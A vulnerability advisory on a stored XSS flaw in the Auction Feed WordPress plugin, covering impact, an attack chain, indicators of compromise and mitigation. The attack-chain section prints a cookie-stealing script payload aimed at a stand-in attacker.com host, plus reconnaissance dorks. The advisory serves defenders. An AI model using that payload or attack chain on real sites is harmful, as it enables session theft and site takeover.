CVE-2025-58671: 
WordPress vulnerability analysis and mitigation

CVE-2025-58671 is a Stored Cross-Site Scripting (XSS) vulnerability in the Auction Feed WordPress plugin by morganrichards. The flaw allows unauthenticated remote attackers to inject and persistently store malicious scripts that execute in victims' browsers upon page load. All versions of the plugin through 1.1.4 are affected. It was published on September 22, 2025, with a CVSS v3.1 base score of 7.1 (High) (Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically the stored variant. The root cause is insufficient sanitization and escaping of user-supplied input before it is rendered in web pages generated by the Auction Feed plugin. Because no authentication is required (PR:N), an attacker can submit crafted input containing malicious JavaScript through plugin-exposed functionality, which is then persistently stored and later executed in the browsers of users who view the affected page. The scope is changed (S:C), meaning the injected script can affect resources beyond the vulnerable component itself (Feedly).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user's browser who visits the affected WordPress page, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement of site content, and redirection of visitors to malicious sites. The CVSS scoring reflects low-to-moderate impacts on confidentiality, integrity, and availability, but the changed scope means the attack can extend beyond the plugin itself to the broader WordPress site and its users (Feedly).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-58671 at this time. The vulnerability does not require authentication, lowering the barrier for exploitation, but does require user interaction (a victim must visit the page containing the stored payload). The EPSS score is approximately 0.064%, indicating a low current probability of exploitation in the wild. The CVE is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Feedly).

1. Reconnaissance: Identify WordPress sites running the Auction Feed plugin (versions ≤ 1.1.4) using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/auction-feed).
2. Identify injection point: Locate the plugin's input fields or parameters that accept user-supplied data and are rendered in auction feed pages without proper sanitization.
3. Craft malicious payload: Prepare a stored XSS payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script>, designed to exfiltrate session cookies or perform actions on behalf of the victim.
4. Submit payload: Submit the crafted payload through the vulnerable plugin input (e.g., an auction listing field or feed configuration) without requiring authentication.
5. Wait for victim interaction: When an authenticated user (e.g., a site administrator) visits the page containing the stored payload, the malicious script executes in their browser.
6. Achieve objective: Collect exfiltrated session tokens to hijack admin sessions, or use the script to perform unauthorized actions such as creating new admin accounts or installing backdoors (Feedly).

• Logs: WordPress access logs showing unexpected POST requests to Auction Feed plugin endpoints containing HTML/JavaScript tags or encoded script payloads (e.g., %3Cscript%3E, javascript:, onerror=).
• File System: Unexpected modifications to plugin files in wp-content/plugins/auction-feed/ or newly created PHP files in the WordPress directory.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting auction feed pages; traffic to attacker-controlled cookie-harvesting endpoints.
• Database: WordPress database entries (e.g., in wp_posts, wp_options, or plugin-specific tables) containing embedded <script> tags or JavaScript event handlers in auction feed data fields.

Users should update the Auction Feed plugin to a version beyond 1.1.4 if a patched release is available from the plugin author (morganrichards) or the WordPress Plugin Repository. If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also implement a Web Application Firewall (WAF) with XSS filtering rules as a defense-in-depth measure, and audit stored plugin data for any existing malicious content (Feedly).